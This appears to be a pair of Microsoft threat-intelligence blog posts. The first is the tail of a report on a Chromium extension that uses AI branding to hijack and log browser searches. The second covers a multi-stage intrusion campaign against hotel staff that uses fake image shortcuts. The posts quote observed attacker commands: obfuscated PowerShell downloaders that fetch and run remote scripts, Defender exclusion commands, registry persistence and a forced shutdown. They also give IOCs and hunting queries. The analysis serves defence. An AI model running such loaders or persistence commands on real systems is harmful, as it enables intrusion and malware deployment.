   • Server logs full request: query string, HTTP headers, user-agent, and source IP address.
   • suggest_url captures real-time keystrokes during typing (before Enter is pressed)
3. Ruleset executes redirect.
4. User is delivered to selected search provider.

Unusually, this extension ships with its own server-side infrastructure code, revealing the complete attack architecture:

• server.js (Node.js proxy)
  • Logs all incoming requests including method, URL, and full HTTP headers.
  • Proxies’ suggestion queries to suggestqueries.google[.]com.
  • Adds permissive CORS headers (Access-Control-Allow-Origin: *) to enable cross-origin responses.
• nginx.conf
  • Configures perplexity-ai[.]online with Let’s Encrypt SSL.
  • Proxies /search endpoint to Google suggestions API.
  • Filters CORS origins exclusively to *.oda[.]digital (operator infrastructure).
  • Forces HTTP-to-HTTPS redirect.

This server-side code is definitive evidence that query interception and logging is architecturally intentional, not an incidental by-product of the redirect mechanism.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Restrict the installation of untrusted browser extensions by enforcing allow‑listing and enterprise policy controls within managed environments.
• Encourage users to verify extension publishers, domains, and branding—particularly for AI-themed tools commonly leveraged in social engineering scenarios.
• Monitor unauthorized changes to browser search settings, unusual extension permissions, and outbound traffic to intermediary or non-standard domains associated with search activity. Controls that identify or flag extensions requesting search override capabilities or network-related APIs can help reduce potential risk exposure. Continuous inspection of extension behavior, alongside reputation-based methods, might also provide improved visibility into anomalous or potentially unwanted activity.
• Leverage platform-level protections to further reduce risk:
  • Microsoft Edge includes built-in capabilities designed to identify and respond to potentially malicious or unwanted extensions that attempt to manipulate browser behavior, including search redirection. Depending on configuration and risk signals, Edge might restrict or block extension execution.
    The Microsoft Edge Add-ons store also uses automated and manual review processes to assess extensions before and after publication, while ongoing monitoring enables identification and removal of extensions that violate policies—helping reduce user exposure to emerging threats.
  • Microsoft Defender SmartScreen provides reputation-based protection for URLs and web content, helping detect and block access to domains associated with malicious or deceptive activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation: Assist analysts in investigating alerts, correlating signals, and supporting analysis of extension-related activity to intermediary domains such as perplexity-ai[.]online.
• Microsoft User analysis: Support analysis of potentially impacted users whose browser search activity has been intercepted or redirected by malicious extensions.

Advanced hunting queries

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Look for the presence of the malicious extension through file artifacts:

DeviceFileEvents
| where FileName has "flkebkiofojicogddingbdmcmkpbplcd" 
   or FolderPath has "flkebkiofojicogddingbdmcmkpbplcd"
| summarize Count = count() by DeviceName, DeviceId, FolderPath

Look for outbound network communication to intermediary infrastructure not associated with the official vendor domain:

DeviceNetworkEvents
| where RemoteUrl has "perplexity-ai.online"
| summarize Count = count() by DeviceName, DeviceId, InitiatingProcessAccountName, RemoteUrl

MITRE ATT&CK techniques observed

Indicators of compromise

References

• Phishing Via Typosquatting and Brand Impersonation: Trends and Tactics – Zscaler
• Overriding Chrome Settings

This research is provided by Microsoft Defender Security Research,  Asutosha Panigrahi, Ashwani Kumar, Mohd Sadique, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Chromium extension uses AI‑related branding to redirect browser search appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor. 

The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities. 

In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses. 

We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare. 

This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts. 

Attack chain overview

The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.  

Initial access and user execution 

The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots. 

In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image. 

The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool. 

Observed LNK and ZIP naming patterns across both campaigns. 

Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:  

• reception 

• frontdesk 

• reservations 

• accueil  

• recepcja 

• recepce 

• frontoffice  

Phishing infrastructure: Authentication laundering through legitimate services 

Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers. 

The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks. 

Lure themes and language targeting 

The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows. 

Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:  

• Guest complaints 

• Bedbug (Cimex) infestation reports 

• Verification call notices 

• Room condition inquiries 

• Stay review requests 

These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click. 

Phishing lure themes by language, listed by observed prevalence. 

The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation. 

Use of Calendly notification infrastructure as a phishing relay 

The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path. 

Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content. 

This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message. 

Multi-hop redirect chain 

Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload: 

• Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN → HTTP 302 

• Step 2: share[.]google/TOKEN → HTTP 302 

• Step 3: www.google[.]com/share_google?q=TOKEN → HTTP 301 

• Step 4: photo-*[.]cfd → Phishing landing page (Cloudflare challenge gate) 

Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP. 

Microsoft assesses that this redirect architecture serves multiple evasion purposes: 

• Fragmentation of URL reputation: No single URL in the chain is inherently malicious at the time of delivery 

• Abuse of Google’s open redirect: The share.google → NULLwww.google.com/share_google redirect leverages Google infrastructure, adding trusted reputation to the chain 

The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms. 

PowerShell-based first stage 

Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder →  Invoke-WebRequest → .ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog. 

The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain 

.NET DLL compilation (Wave 2) 

In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.  

Representative observed artifacts: 

csc.exe → cvtres.exe → <random>.dll (3,072 bytes) 

Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional. 

Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain. 

Script staging and Node.js implant deployment 

After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.  

We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).  

Figure 3 shows representative observed command lines: 

"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info

Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments. 

The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability. 

The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process: 

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, 
  ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'], 
  {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; 
  $command = ... 

Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags. 

Defense evasion and payload execution 

Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands: 

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\"" 

Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution. 

These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family. 

ProgramData relocation and persistence 

Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign: 

C:\ProgramData\FFXjwKn\fehqf5oo.exe 
C:\ProgramData\PEIEZlD\qulcp452eb9.exe 
C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe 
C:\ProgramData\PsrOqKF\vl8daccehg.exe 
C:\ProgramData\riloNEK\s8bpfaee.exe 
C:\ProgramData\JMSVrLU\choffgpa.exe 

Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames. 

The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command: 

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
  /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f 

Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name. 

The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution. 

Command and control 

In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including: 

• 8443 

• 8445 

• 8453 

• 5555 

• 56001 

• 56002 

• 56003  

We observed the campaign expanding its C2 infrastructure between waves: 

Wave 1 IPs: 

• 178.16.54[.]27 

• 95.217.97[.]121 

• 193.202.84[.]32 

• 178.16.55[.]179 

The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves. 

We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following: 

• .info 

• .com 

• .pro 

• .xyz 

• .cloud 

• .icu 

• .sbs 

• .click 

• .bond 

• .cfd (Wave 2) 

Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention: 

• photo-26254[.]cfd 

• photo-26654[.]cfd 

• photo-132454[.]cfd 

• photo-8632454[.]cfd 

The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign. 

Obfuscation evolution 

A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft. 

Phase 1: XOR bigint decoding

Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line: 

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\"; 
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w; 
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8}; 
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\eRJGv.ps1" 

Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8. 

Phase 2: Subtraction replaces XOR

Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor: 

powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\"; 
$y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y; 
while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8}; 
iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"

Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure. 

Phase 3: Hexadecimal to decimal substitution

The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability: 

powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\"; 
$l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l; 
while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8}; 
iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\ymqMj.ps1" 

Figure 11. Phase 3 variant replacing 0xFF with decimal 255. 

Phase 4: Arithmetic masking

Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255: 

powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\"; 
$y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y; 
while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8}; 
iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\23QbL.ps1"

Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78). 

Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255. 

Phase 5: Modulo and division

Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations: 

powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\"; 
$o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o; 
while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8}; 
iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"

Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256. 

Phase 6: Syntax diversification and randomization

The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic: 

powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint]; 
$MyL4evU3=256; 
$GqA4xFav=\"17082531775760189576112827972435\" -as [bigint]; 
$XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav; 
while($XwcU0kg87CFgqe5 -ne 0){ 
  $qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3)); 
  $XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3}; 
iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding. 

Phase 7: For-loop variant with arithmetic mask (Wave 2)

The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior: 

powershell.exe -ep bypass -c "$IcZWdT=100+156; 
$=\"\" -as [bigint]; 
$=\"\" -as [bigint]; 
$=$ - $; 
for($i=0; $ -ne 0; $i++){ 
  $
+=[char]([int]($ % $IcZWdT)); 
  $=[bigint]($ / $IcZWdT)}; 
iwr $
 -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting. 

This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient. 

Campaign evolution 

Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment: 

Evidence of a single continuous campaign 

Cross-wave artifact overlaps demonstrating a single continuous campaign. 

What changed between waves 

Summary of campaign evolution from Wave 1 to Wave 2. 

Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure. 

Persistence survival analysis 

One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention. 

On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains. 

Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device: 

cBA8H4S5k04jAY.exe 
eaa3q8BQZcnIOV.exe 
BaUWXagH4CGZS.exe 
CJE4domtVFM9LX.exe

Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence. 

This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory. 

Post-compromise activity 

Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts. 

The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment. 

A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed. 

The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change. 

Mitigation and protection guidance

Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain: 

1. Treat photo-themed ZIP archives and fake image shortcuts as high risk. Investigate browser-downloaded archives matching photo-<random numbers>.zip and shortcut files matching IMG-<random numbers>.png.lnk or PHOTO-<random numbers>.png.lnk, especially when they’re followed by PowerShell or script interpreter launches. Learn more about attack surface reduction rules 

2. Harden and monitor PowerShell execution. Because the campaign repeatedly used obfuscated BigInt arithmetic across seven phases, defenders should prioritize PowerShell activity that includes unusual combinations of BigInt casting, subtraction or XOR decode logic, byte masking, modulo or division byte extraction, for-loop decode patterns, and subsequent Invoke-WebRequest behavior. Learn more about PowerShell constrained language 

3. Monitor for unexpected .NET compilation. The appearance of csc.exe spawning cvtres.exe and producing small DLLs in user-writable paths, especially when initiated by PowerShell scripts from %TEMP%, is unusual in hospitality environments and should be investigated. 

4. Investigate Node.js execution from user-space paths. node.exe running from C:\Users\<user>\AppData\Local\Nodejs\ with a random .js file and domain argument is unusual in many enterprise environments. Microsoft recommends reviewing whether Node.js is expected on reception, front office, or similarly targeted systems. 

5. Alert on Defender exclusion changes tied to temporary executables. Add-MpPreference -ExclusionProcess aligned to %TEMP% or AppData\Local\Temp should be treated as suspicious when associated with shortcut-driven or script-driven execution chains. Learn more about tamper protection .

6. Hunt for random EXE launches from temporary paths and helper .tmp installers. The campaign uses numerous unique temporary executable filenames and helper is-*.tmp files with /SL5 or /VERYSILENT. These patterns are likely more durable than individual filenames. 

7. Review persistence in both HKCU\Run and HKCU\RunOnce. Pay particular attention to values that launch node.exe from user directories or reference executables under C:\ProgramData\<random>\. Because the campaign refreshes RunOnce, repeated recreation of that value might be a strong signal. Critically, both keys must be removed during remediation—removing only the RunOnce entry leaves the Node.js implant active. 

8. Monitor network connections on the observed non-standard ports. Outbound traffic to 8443, 8445, 8453, 5555, 56001, 56002, and 56003, especially when initiated by node.exe or executables from user profile and temporary paths, should be reviewed promptly. 

9. Block or alert on .cfd domains matching the campaign pattern. Wave 2 domains follow a photo-<digits>[.]cfd naming convention. Organizations should consider blocking these patterns and monitoring for DNS queries to recently registered .cfd domains. 

10. Investigate browser automation and forced shutdown patterns. The combination of –headless –no-sandbox and cmd /c shutdown -s -t 0 might indicate late-stage execution on selected hosts. 

11. Use sector-aware hunting. Because Microsoft observed concentration in hospitality and hotel environments across multiple countries, organizations should review devices associated with front desk, reservation, reception, and guest-facing workflows first. 

Microsoft Defender XDR detections 

Microsoft assesses that Microsoft Defender coverage for this campaign is most effective when it combines process, registry, file, and network telemetry rather than relying on blocking individual indicators of compromise (IOCs). 

TonRAT is the campaign’s implant family (validated on the dropped .ps1 and .js payloads). “Wacatac” and “PureRat” are Microsoft Defender detection names that fire on specific binaries in the attack chain (the LNK or PE payload and the ProgramData persistence executable, respectively). 

Beyond signature-based prevention, Microsoft Defender can surface this campaign through behavioral detections, including alerts such as Suspicious Node.js child process execution and Node.js Hidden Run‑Key Persistence, which are designed to identify implant activity even as file names, domains, and script syntax change. 

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Microsoft Security Copilot 

Microsoft Security Copilot customers can use the following prebuilt promptbooks to support investigation and response for activity related to this campaign: 

• Incident investigation: Summarize incidents and triage alerts related to Node.js persistence, PowerShell decode chains, and registry modification.

• Microsoft User analysis: Profile compromised hospitality accounts (reception, frontdesk, reservations) for scope assessment.

Advanced hunting queries 

Microsoft Defender XDR 

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.     

Fake image shortcut execution (both LNK naming patterns) 

This query identifies execution of shortcut files matching the campaign’s photo-themed LNK naming convention across both Wave 1 and Wave 2 patterns. 

DeviceProcessEvents 
| where FileName =~ "explorer.exe" or FileName =~ "cmd.exe" or FileName =~ "powershell.exe" 
| where ProcessCommandLine has ".lnk" 
| where ProcessCommandLine has_any ("IMG-", "PHOTO-") and ProcessCommandLine has ".png.lnk" 
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine 
| order by Timestamp desc

Node.js implant execution from user-space paths 

